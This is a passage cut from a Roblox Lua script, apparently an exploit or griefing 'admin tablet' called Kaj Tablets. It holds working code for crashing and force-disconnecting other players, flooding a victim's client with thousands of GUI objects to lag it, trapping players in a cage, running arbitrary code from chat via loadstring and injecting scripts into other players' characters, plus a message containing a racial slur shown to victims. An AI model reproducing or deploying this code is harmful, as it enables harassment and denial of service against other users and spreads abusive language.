  4369.                 Inserted.Parent = Par or Par2 or Par3
  4370.                 Inserted[LSSource].Value = Source
  4371.                 Inserted.Disabled = false
  4372.         end)
  4373. end
  4374.  
  4375. function CheckImportant(Name)
  4376.         for _,v in pairs(ImportantServices) do
  4377.                 if v:lower() == Name:lower() then
  4378.                         return true
  4379.                 end
  4380.         end
  4381.         return false
  4382. end
  4383.  
  4384. function Crash1(Plr)
  4385.         ypcall(function()
  4386.                 Plr:Kick()
  4387.         end)
  4388. end
  4389.  
  4390. function GetRankTab()
  4391.         return Rankings
  4392. end
  4393.  
  4394. function Crash2(Name)
  4395.         local Crasher = Instance.new("StringValue")
  4396.         Crasher.Name = "Client"
  4397.         Crasher.Value = string.lower(tostring(Name))
  4398.         Crasher.Parent = game:GetService("Lighting")
  4399.         wait(1)
  4400.         if Crasher and Crasher.Parent then
  4401.                 ypcall(function()
  4402.                         Crasher:Destroy()
  4403.                 end)
  4404.         end
  4405. end
  4406.  
  4407. function Crash3(v, Speaker)
  4408.         Speaker.Character.Archivable = true
  4409.         local NChar = Speaker.Character:Clone()
  4410.         NChar.Name = v.Name
  4411.         NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  4412.         NChar.Parent = Workspace
  4413.         v.Character = NChar
  4414.         coroutine.resume(coroutine.create(function()
  4415.                 repeat v.Character = NChar
  4416.                 wait(1/3) until false
  4417.         end))
  4418.         wait(.5)
  4419.         Insert(InsertCrash, NChar, nil, nil)
  4420. end
  4421.  
  4422. function GenerateDigit()
  4423.         return 1 + 5
  4424. end
  4425.  
  4426.  
  4427. NilS = [==[
  4428. if script then
  4429.     coroutine.yield()
  4430.     script.Parent = nil
  4431. end
  4432. Player=game.Players.LocalPlayer
  4433. Probe=Instance.new'Part';
  4434. CN='Kaj TabletsNil | ['..Player.Name..']'
  4435. Camera=Workspace.CurrentCamera
  4436. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  4437. Char = Player.Character
  4438. if Char then
  4439.         Char.Archivable = true
  4440.         Char = Char:clone()
  4441.         local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  4442.         if t then
  4443.                 for k,v in pairs(Char:GetChildren()) do
  4444.                         if not v:IsA("Part") then
  4445.                                 v:clone().Parent = t
  4446.                         end
  4447.                 end
  4448.                 Char = t:clone()
  4449.                 if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  4450.         local spot = Instance.new("SpotLight",Char.Head)
  4451.         spot.Angle = 10
  4452.         spot.Range = 10
  4453.         spot.Color = Color3.new(1,1,1)
  4454.         spot.Brightness = 10
  4455.         local point = Instance.new("PointLight",Char.Head)
  4456.         point.Range = 10
  4457.         point.Color = Color3.new(1,1,1)
  4458.         point.Brightness = 10
  4459.         end
  4460.         end
  4461. end
  4462.  
  4463. coroutine.resume(coroutine.create(function()
  4464.         while true do wait(0.00000001)
  4465.                 pcall(function()
  4466.                         if Character.Torso.CFrame.Y < 1 then
  4467.                         Character.Torso.CFrame = CFrame.new(0,20,0)
  4468.                         end
  4469.                  end)
  4470.         end
  4471. end))
  4472. Title=function(txt,part,color,rise)
  4473.         col=nil
  4474.         col=Color3.new(BrickColor.new(color))
  4475.         local Gui = Instance.new("BillboardGui",part)
  4476.         Gui.Name = "3DGUI"
  4477.         Gui.ExtentsOffset = Vector3.new(0,2,0)
  4478.         Gui.Size = UDim2.new(8,0,2,0)
  4479.         local Tit = Instance.new("TextLabel",Gui)
  4480.         Tit.Name = "Title"
  4481.         Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  4482.         Tit.TextColor3 = Color3.new(0,0,0)
  4483.         Tit.TextTransparency = 0.25
  4484.         Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  4485.         Tit.TextStrokeTransparency = 0.5
  4486.         Tit.Size = UDim2.new(1,0,1,0)
  4487.         Tit.BackgroundTransparency = 1
  4488.         Tit.Font = "ArialBold"
  4489.         Tit.TextScaled = true
  4490.         Tit.Text = txt
  4491.         if rise then
  4492.                 if not tonumber(rise) then rise = 1 end
  4493.                 coroutine.wrap(function()
  4494.                         while Tit.Parent and Gui.Parent and wait() do
  4495.                                 Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  4496.                         end
  4497.                 end)()
  4498.         end
  4499.         return Tit
  4500. end
  4501. Chat=function(Part,Text,Color,Type)
  4502.         if Type==nil or Type==1 or Type=='Bubble' then
  4503.                 game:service'Chat':Chat(Part,Text,Color)
  4504.         else
  4505.                 if type(Color)~='string' then        
  4506.                         Color=tostring(BrickColor.random())
  4507.                 end
  4508.                 Title(Text,Part,Color,math.random(1,3))
  4509.         end
  4510. end
  4511. DestroyCharacter=function()
  4512.         local chara = Player.Character
  4513.         if not chara then return end
  4514.         if chara:findFirstChild("Humanoid") then
  4515.                 chara.Humanoid:Destroy()
  4516.         end
  4517.         chara:BreakJoints()
  4518.         for k,v in pairs(chara:GetChildren()) do
  4519.                 if v:IsA("BasePart") then
  4520.                         v.CanCollide = false
  4521.                         v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  4522.                         v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  4523.                 end
  4524.         end
  4525.         game.Debris:AddItem(chara,3)
  4526. end
  4527. MakeProbe=function()
  4528.         if Player.Character then DestroyCharacter() end Player.Character = nil
  4529.         if Probe then Probe:Destroy() end
  4530.         Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  4531.         Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  4532.         Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  4533.         Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  4534.         coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  4535.         Player.Character=Probe
  4536. end
  4537. Spawn=function()
  4538.         if Char then
  4539.                 local c = Char:clone()
  4540.                 c.Name = CN
  4541.                 c.Parent = workspace
  4542.                 c:MoveTo(workspace.CurrentCamera.Focus.p)
  4543.                 Player.Character = c
  4544.                 workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  4545.                 workspace.CurrentCamera.CameraType = "Custom"
  4546.                 Probe:Destroy()
  4547.         end
  4548. end
  4549. Player.Chatted:connect(function(Msg)
  4550. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  4551.         if Msg:sub(1,2) == '//' then
  4552.                 local Func,Error=loadstring(Msg:sub(3))
  4553.                 if Error==nil then
  4554.                         pcall(Func)
  4555.                         if Player.Character then
  4556.                                 game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  4557.                         end
  4558.                 else
  4559.                         if Player.Character then
  4560.                                 game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  4561.                         else
  4562.                                 local Msg=Instance.new'Message'
  4563.                                 Msg.Parent=Workspace.CurrentCamera
  4564.                                 Msg.Text=Error
  4565.                                 game:service'Debris':AddItem(Msg,5)
  4566.                         end
  4567.                 end
  4568.         elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  4569.                 NewMsg=Msg:sub(#('newlocal')+3)
  4570.                 Split=NewMsg:find('/')
  4571.                 local PlayerName=NewMsg:sub(1,Split-1)
  4572.                 local Source=NewMsg:sub(Split+1)
  4573.                 Player=nil
  4574.                 for i,v in pairs(game.Players:GetPlayers()) do
  4575.                         if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  4576.                                 if Player==nil then
  4577.                                         Player=v
  4578.                                 else
  4579.                                         if type(Player) == 'table' then
  4580.                                                 Player[#Player+1]=v
  4581.                                         else
  4582.                                                 Player={v}
  4583.                                         end
  4584.                                 end
  4585.                         end
  4586.                 end
  4587.                 if type(Player)=='table' then
  4588.                         for i,v in pairs(Player) do        
  4589.                                 if newLocalScript then
  4590.                                         newLocalScript(Source,v.Character)
  4591.                                 else
  4592.                                         Clone=script:clone();
  4593.                                         SourceC=Clone:children()[1]
  4594.                                         if SourceC:IsA'StringValue' then
  4595.                                                 print'String'
  4596.                                         else
  4597.                                                 SourceC=Clone:children()[2]
  4598.                                         end
  4599.                                         SourceC.Value=Source
  4600.                                         Clone.Disabled=true
  4601.                                         Clone.Parent=v.Character
  4602.                                         Clone.Disabled=false
  4603.                                 end
  4604.                         end
  4605.                 else
  4606.                         if newLocalScript then
  4607.                                 newLocalScript(Source,Player.Character)
  4608.                         else
  4609.                                 Clone=script:clone();
  4610.                                 DS=Clone:children()
  4611.                                 DSS=nil
  4612.                                 for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  4613.                                 DSS.Value=Source
  4614.                                 Clone.Disabled=true;
  4615.                                 Clone.Parent=Player.Character
  4616.                                 Clone.Disabled=false
  4617.                         end
  4618.                 end
  4619.         elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  4620.                 game:service'TeleportService':Teleport(Game.PlaceId)
  4621.         elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  4622.                 MakeProbe()
  4623.         elseif Msg:sub(1,#('char')+2) =='/char/' then
  4624.                 Spawn()
  4625.         elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  4626.                 Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  4627.                 if Player then
  4628.                         repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  4629.                 end
  4630.         end
  4631.         wait()
  4632.         if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  4633.                 if Probe then
  4634.                         Chat(Probe,Msg,math.random(0,2))
  4635.                 else        
  4636.                         if Player.Character==nil then
  4637.                                 if Char then
  4638.                                         Chat(Char.Head,Msg,math.random(0,2))
  4639.                                 end
  4640.                         else
  4641.                                 Chat(Player.Character.Head,Msg,'Red')
  4642.                         end
  4643.                 end
  4644.         end
  4645. end) -- local
  4646. ]==]
  4647.  
  4648. InjectionCrash = [=[
  4649.         wait(0)
  4650.         script.Parent = nil
  4651.         local Lig = game:GetService("Lighting")
  4652.         local LP = game:GetService("Players").LocalPlayer
  4653.         local LowerName = LP.Name:lower()
  4654.  
  4655.         Lig.ChildAdded:connect(function(Obj)
  4656.                 if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  4657.                         pcall(function()
  4658.                                 Obj:Destroy()
  4659.                         end)
  4660.                         LP.Parent = nil
  4661.                         LP.Parent = game:GetService("Players")
  4662.                 end
  4663.         end)
  4664. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
  4665.  
  4666. InsertCrash = [==[
  4667.         local LP = game:GetService("Players").LocalPlayer
  4668.         LP.Parent = nil
  4669.         LP.Parent = game:GetService("Players")
  4670. ]==]
  4671.  
  4672. LagSource = [==[
  4673.         wait(0)
  4674.         script.Parent = nil
  4675.         plr = game:GetService("Players").LocalPlayer
  4676.         local plrgui = plr:findFirstChild("PlayerGui")
  4677.         if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  4678.         while plr.Parent == game:GetService("Players") do
  4679.         wait()
  4680.         for i = 1, 1000 do
  4681.         local sc = Instance.new("ScreenGui",plrgui)
  4682.         local fr = Instance.new("TextLabel",sc)
  4683.         fr.Text = "LAGGING"
  4684.         fr.Size = UDim2.new(1, 0, 1, 0)
  4685.         fr.FontSize = "Size48"
  4686.         end
  4687.         end
  4688. ]==]
  4689.  
  4690. MuteSource = [==[
  4691.         game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  4692. ]==]
  4693.  
  4694. UnMuteSource = [==[
  4695.         game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  4696. ]==]
  4697.  
  4698. FunScript = [[
  4699. LP = game:service'Players'.LocalPlayer
  4700. Shapes = {"Ball", "Block"}
  4701. wait()
  4702. script.Parent = nil
  4703. Delay(0, function()
  4704. while wait() do
  4705. workspace.CurrentCamera.CameraType = "Scriptable"
  4706. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  4707. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  4708. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  4709. local Part = Instance.new("Part", workspace.CurrentCamera)
  4710. Part.Shape = Shapes[math.random(1, 2)]
  4711. Part.Anchored = true
  4712. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4713. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  4714. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  4715. local Smoke = Instance.new("Smoke", Part)
  4716. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  4717. Smoke.Opacity = 0.7
  4718. local Sparkles = Instance.new("Sparkles", Part)
  4719. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  4720. local Fire = Instance.new("Fire", Part)
  4721. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  4722. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  4723. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  4724. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  4725. Ex.BlastPressure = 15
  4726. Ex.BlastRadius = 12.5
  4727. if not workspace.CurrentCamera:findFirstChild("Hint") then
  4728. local mes = Instance.new("Hint", workspace.CurrentCamera)
  4729. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  4730. end
  4731. end
  4732. end)
  4733. ]]
  4734.  
  4735. JailSource = [==[
  4736.         wait(0)
  4737.         script.Parent = nil
  4738.  
  4739.         local LP = game:GetService("Players").LocalPlayer
  4740.         Middle2 = nil
  4741.         Middle = nil
  4742.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4743.  
  4744.         Cons = {}
  4745.  
  4746.         function makePrison()
  4747.                 for _,v in pairs(Cons) do
  4748.                         v:disconnect()
  4749.                 end
  4750.                 game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4751.                 if Middle == nil then
  4752.                         Middle2 = LP.Character.Torso.Position
  4753.                         Middle = LP.Character.Torso.CFrame
  4754.                 end
  4755.                 local side1 = Instance.new("Part")
  4756.                 side1.Name = "¬Focus1¬"
  4757.                 side1.Size = Vector3.new(20, 50, 1)
  4758.                 side1.CFrame = Middle * CFrame.new(0, 0, -10)
  4759.                 side1.BrickColor = BrickColor.new("Really black")
  4760.                 side1.CanCollide = true
  4761.                 side1.Anchored = true
  4762.                 side1.TopSurface = "Smooth"
  4763.                 side1.BottomSurface = "Smooth"
  4764.                 side1.Parent = game:GetService("Workspace").CurrentCamera
  4765.  
  4766.                 local side2 = Instance.new("Part")
  4767.                 side2.Name = "¬Focus2¬"
  4768.                 side2.Size = Vector3.new(20, 50, 1)
  4769.                 side2.CFrame = Middle * CFrame.new(0, 0, 10)
  4770.                 side2.BrickColor = BrickColor.new("Really black")
  4771.                 side2.CanCollide = true
  4772.                 side2.Anchored = true
  4773.                 side2.TopSurface = "Smooth"
  4774.                 side2.BottomSurface = "Smooth"
  4775.                 side2.Parent = game:GetService("Workspace").CurrentCamera
  4776.  
  4777.                 local side3 = Instance.new("Part")
  4778.                 side3.Name = "¬Focus3¬"
  4779.                 side3.Size = Vector3.new(1, 50, 20)
  4780.                 side3.CFrame = Middle * CFrame.new(10, 0, 0)
  4781.                 side3.BrickColor = BrickColor.new("Really black")
  4782.                 side3.CanCollide = true
  4783.                 side3.Anchored = true
  4784.                 side3.TopSurface = "Smooth"
  4785.                 side3.BottomSurface = "Smooth"
  4786.                 side3.Parent = game:GetService("Workspace").CurrentCamera
  4787.  
  4788.                 local side4 = Instance.new("Part")
  4789.                 side4.Name = "¬Focus4¬"
  4790.                 side4.Size = Vector3.new(1, 50, 20)
  4791.                 side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  4792.                 side4.BrickColor = BrickColor.new("Really black")
  4793.                 side4.CanCollide = true
  4794.                 side4.Anchored = true
  4795.                 side4.TopSurface = "Smooth"
  4796.                 side4.BottomSurface = "Smooth"
  4797.                 side4.Parent = game:GetService("Workspace").CurrentCamera
  4798.                
  4799.                 local side5 = Instance.new("Part")
  4800.                 side5.Name = "¬Focus5¬"
  4801.                 side5.Size = Vector3.new(20, 1, 20)
  4802.                 side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  4803.                 side5.BrickColor = BrickColor.new("Really black")
  4804.                 side5.CanCollide = true
  4805.                 side5.Anchored = true
  4806.                 side5.TopSurface = "Smooth"
  4807.                 side5.BottomSurface = "Smooth"
  4808.                 side5.Parent = game:GetService("Workspace").CurrentCamera
  4809.                
  4810.                 wait(0)
  4811.  
  4812.                 table.insert(Cons, side1.Changed:connect(makePrison))
  4813.                 table.insert(Cons, side2.Changed:connect(makePrison))
  4814.                 table.insert(Cons, side3.Changed:connect(makePrison))
  4815.                 table.insert(Cons, side4.Changed:connect(makePrison))
  4816.                 table.insert(Cons, side5.Changed:connect(makePrison))
  4817.         end
  4818.  
  4819.         Delay(0, function()
  4820.                 while wait(0) do
  4821.                         ypcall(function()
  4822.                                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  4823.                                         LP.Character:BreakJoints()
  4824.                                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  4825.                                         makePrison()
  4826.                                 end
  4827.                         end)
  4828.                         ypcall(function()
  4829.                                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  4830.                                         LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  4831.                                 end
  4832.                         end)
  4833.                 end
  4834.         end)
  4835. ]==]
  4836.  
  4837. function All()
  4838.         local AllPlayers = {}
  4839.         for _,v in pairs(Plrs:GetPlayers()) do
  4840.                 ypcall(function()
  4841.                         table.insert(AllPlayers, v)
  4842.                 end)
  4843.         end
  4844.         return AllPlayers
  4845. end
  4846.  
  4847. function All2()
  4848.         local AllPlayers2 = {}
  4849.         for i,v in pairs(Net:GetChildren()) do
  4850.                 ypcall(function()
  4851.                         if v:IsA("ServerReplicator") then
  4852.                                 table.insert(AllPlayers2, v:GetPlayer())
  4853.                         end
  4854.                 end)
  4855.         end
  4856.         return AllPlayers2
  4857. end
  4858.  
  4859. function MakeNum()
  4860.         return 2 + 4
  4861. end
  4862.  
  4863. function ChangeRank(Plr, NewRank)
  4864.         local PlrName = nil
  4865.         local FoundPlayer = false
  4866.         ypcall(function()
  4867.                 if type(Plr) == "string" then
  4868.                         ypcall(function()
  4869.                                 for i,v in pairs(Rankings) do
  4870.                                         if v.Name:lower() == Plr:lower() then
  4871.                                                 local VName = v.Name
  4872.                                                 Rankings[i] = nil
  4873.                                                 table.insert(Rankings, {Name = VName, Rank = NewRank})
  4874.                                                 PlrName = VName
  4875.                                                 FoundPlayer = true
  4876.                                                 break
  4877.                                         end
  4878.                                 end
  4879.                         end)
  4880.                         if FoundPlayer == false then
  4881.                                 ypcall(function()
  4882.                                         for _,x in pairs(All()) do
  4883.                                                 if x.Name:lower() == Plr:lower() then
  4884.                                                         FoundPlayer = true
  4885.                                                         for i,v in pairs(Rankings) do
  4886.                                                                 if v.Name:lower() == x.Name:lower() then
  4887.                                                                         local VName = x.Name
  4888.                                                                         Rankings[i] = nil
  4889.                                                                         PlrName = VName
  4890.                                                                         break
  4891.                                                                 end
  4892.                                                         end
  4893.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  4894.                                                 end
  4895.                                         end
  4896.                                 end)
  4897.                         end
  4898.                         if FoundPlayer == false then
  4899.                                 ypcall(function()
  4900.                                         for _,x in pairs(All()) do
  4901.                                                 if string.find(x.Name:lower(), Plr:lower()) then
  4902.                                                         FoundPlayer = true
  4903.                                                         for i,v in pairs(Rankings) do
  4904.                                                                 if v.Name:lower() == x.Name:lower() then
  4905.                                                                         local VName = x.Name
  4906.                                                                         Rankings[i] = nil
  4907.                                                                         PlrName = VName
  4908.                                                                         break
  4909.                                                                 end
  4910.                                                         end
  4911.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  4912.                                                 end
  4913.                                         end
  4914.                                 end)
  4915.                         end
  4916.                         if FoundPlayer == false then
  4917.                                 ypcall(function()
  4918.                                         for i,v in pairs(Rankings) do
  4919.                                                 if string.find(v.Name:lower(), Plr:lower()) then
  4920.                                                         local VName = v.Name
  4921.                                                         Rankings[i] = nil
  4922.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  4923.                                                         PlrName = VName
  4924.                                                         FoundPlayer = true
  4925.                                                         break
  4926.                                                 end
  4927.                                         end
  4928.                                 end)
  4929.                         end
  4930.                 else
  4931.                         for i,v in pairs(Rankings) do
  4932.                                 if v.Name:lower() == Plr.Name:lower() then
  4933.                                         Rankings[i] = nil
  4934.                                         break
  4935.                                 end
  4936.                         end
  4937.                         table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  4938.                         PlrName = Plr.Name
  4939.                 end
  4940.                 PlaceAllRanks(true)
  4941.         end)
  4942.         if PlrName ~= nil then
  4943.                 return PlrName
  4944.         else
  4945.                 return "Player"
  4946.         end
  4947. end
  4948.  
  4949. function Refresh(Plr)
  4950.         MakeChildren(Plr)
  4951. end
  4952.  
  4953. function MakeChildren(Plr)
  4954.         ypcall(function()
  4955.                 Dismiss(Plr)
  4956.                 for _,v in pairs(Current:GetChildren()) do
  4957.                         ypcall(function()
  4958.                                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  4959.                                         Ping(v.Name, Plr, nil, function(TabMod)
  4960.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  4961.                                                 for _,v in pairs(Current:GetChildren()) do
  4962.                                                         ypcall(function()
  4963.                                                                 if v.Name == TabText then
  4964.                                                                         Dismiss(Plr)
  4965.                                                                         Current = v
  4966.                                                                         MakeChildren(Plr)
  4967.                                                                 end
  4968.                                                         end)
  4969.                                                 end
  4970.                                         end)
  4971.                                 elseif Plrs:GetPlayerFromCharacter(v) then
  4972.                                         Ping(v.Name, Plr, nil, function(TabMod)
  4973.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  4974.                                                 for _,v in pairs(Current:GetChildren()) do
  4975.                                                         ypcall(function()
  4976.                                                                 if v.Name == TabText then
  4977.                                                                         Dismiss(Plr)
  4978.                                                                         Current = v
  4979.                                                                         MakeChildren(Plr)
  4980.                                                                 end
  4981.                                                         end)
  4982.                                                 end
  4983.                                         end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  4984.                                 elseif CheckImportant(v.Name) then
  4985.                                         Ping(v.Name, Plr, nil, function(TabMod)
  4986.                                                 local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  4987.                                                 for _,v in pairs(Current:GetChildren()) do
  4988.                                                         ypcall(function()
  4989.                                                                 if v.Name == TabText then
  4990.                                                                         Dismiss(Plr)
  4991.                                                                         Current = v
  4992.                                                                         MakeChildren(Plr)
  4993.                                                                 end
  4994.                                                         end)
  4995.                                                 end
  4996.                                         end, ImportantColor)
  4997.                                 end
  4998.                         end)
  4999.                 end
  5000.                 if Current ~= game then
  5001.                         Ping("Back", Plr, nil, function()
  5002.                                 ypcall(function()
  5003.                                         Current = Current.Parent
  5004.                                         MakeChildren(Plr)
  5005.                                         Ping("You Are Back To "..Current.Name, Plr, 5)
  5006.                                 end)
  5007.                         end, OptionColor)
  5008.                 end
  5009.                 if Current ~= game then
  5010.                         Ping("Delete", Plr, nil, function()
  5011.                                 ypcall(function()
  5012.                                         local CurrPar = Current.Parent or game
  5013.                                         local CurrName = Current.Name
  5014.                                         Current:Destroy()
  5015.                                         Current = CurrPar
  5016.                                         MakeChildren(Plr)
  5017.                                         Ping("Attempted To Delete "..CurrName, Plr, 5)
  5018.                                 end)
  5019.                         end, OptionColor)
  5020.                 end
  5021.                 Ping("Refresh", Plr, nil, function()
  5022.                         ypcall(function()
  5023.                                 Refresh(Plr)
  5024.                                 Ping("Refreshed", Plr, 5)
  5025.                         end)
  5026.                 end, OptionColor)
  5027.                 Ping("Properties", Plr, nil, function()
  5028.                         ypcall(function()
  5029.                                 Dismiss(Plr)
  5030.                                 for Property, Value in pairs(GetProperties(Current)) do
  5031.                                         Ping(tostring(Property)..": "..tostring(Value), Plr)
  5032.                                 end
  5033.                                 Ping("Got All Available Properties", Plr, 5)
  5034.                                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  5035.                         end)
  5036.                 end, OptionColor)
  5037.         end)
  5038. end
  5039.  
  5040. function Fixl()
  5041.         Light.GlobalShadows = true
  5042.         Light.TimeOfDay = "14:00:00"
  5043.         Light.Brightness = 0.5
  5044.         Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  5045.         Light.Ambient = Color3.new(1, 1, 1)
  5046.         Light.ColorShift_Top = Color3.new(0, 0, 0)
  5047.         Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  5048.         Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  5049.         Light.FogStart = 0
  5050.         Light.FogEnd = 100000
  5051.         Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  5052.         Light:ClearAllChildren()
  5053. end
  5054.  
  5055. function GetProperties(obj)
  5056.         assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  5057.         local objProper = {}
  5058.         for i,v in pairs(Properties) do
  5059.                 if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  5060.                         objProper[v] = obj[v]
  5061.                 end
  5062.         end
  5063.         return objProper
  5064. end
  5065.  
  5066. function MakeExplorer(Plr)
  5067.         Dismiss(Plr)
  5068.         Current = game
  5069.         for _,v in pairs(Current:GetChildren()) do
  5070.                 ypcall(function()
  5071.                         if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  5072.                                 Ping(v.Name, Plr, nil, function(TabMod)
  5073.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  5074.                                         for _,v in pairs(Current:GetChildren()) do
  5075.                                                 ypcall(function()
  5076.                                                         if v.Name == TabText then
  5077.                                                                 Dismiss(Plr)
  5078.                                                                 Current = v
  5079.                                                                 MakeChildren(Plr)
  5080.                                                         end
  5081.                                                 end)
  5082.                                         end
  5083.                                 end)
  5084.                         elseif Plrs:GetPlayerFromCharacter(v) then
  5085.                                 Ping(v.Name, Plr, nil, function(TabMod)
  5086.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  5087.                                         for _,v in pairs(Current:GetChildren()) do
  5088.                                                 ypcall(function()
  5089.                                                         if v.Name == TabText then
  5090.                                                                 Dismiss(Plr)
  5091.                                                                 Current = v
  5092.                                                                 MakeChildren(Plr)
  5093.                                                         end
  5094.                                                 end)
  5095.                                         end
  5096.                                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  5097.                         elseif CheckImportant(v.Name) then
  5098.                                 Ping(v.Name, Plr, nil, function(TabMod)
  5099.                                         local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  5100.                                         for _,v in pairs(Current:GetChildren()) do
  5101.                                                 ypcall(function()
  5102.                                                         if v.Name == TabText then
  5103.                                                                 Dismiss(Plr)
  5104.                                                                 Current = v
  5105.                                                                 MakeChildren(Plr)
  5106.                                                         end
  5107.                                                 end)
  5108.                                         end
  5109.                                 end, ImportantColor)
  5110.                         end
  5111.                 end)
  5112.         end
  5113.         if Current ~= game then
  5114.                 Ping("Back", Plr, nil, function()
  5115.                         ypcall(function()
  5116.                                 Current = Current.Parent
  5117.                                 MakeChildren(Plr)
  5118.                                 Ping("Back In "..Current.Name, Plr, 5)
  5119.                         end)
  5120.                 end, OptionColor)
  5121.         end
  5122.         if Current ~= game and game:GetService(Current.Name) == nil then
  5123.                 Ping("Delete", Plr, nil, function()
  5124.                         ypcall(function()
  5125.                                 local CurrPar = Current.Parent or game
  5126.                                 local CurrName = Current.Name
  5127.                                 Current:Destroy()
  5128.                                 Current = CurrPar
  5129.                                 MakeChildren(Plr)
  5130.                                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  5131.                         end)
  5132.                 end, OptionColor)
  5133.         end
  5134.         Ping("Refresh", Plr, nil, function()
  5135.                 ypcall(function()
  5136.                         Refresh(Plr)
  5137.                         Ping("Refreshed", Plr, 5)
  5138.                 end)
  5139.         end, OptionColor)
  5140.         Ping("Properties", Plr, nil, function()
  5141.                 ypcall(function()
  5142.                         Dismiss(Plr)
  5143.                         for Property, Value in pairs(GetProperties(Current)) do
  5144.                                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  5145.                         end
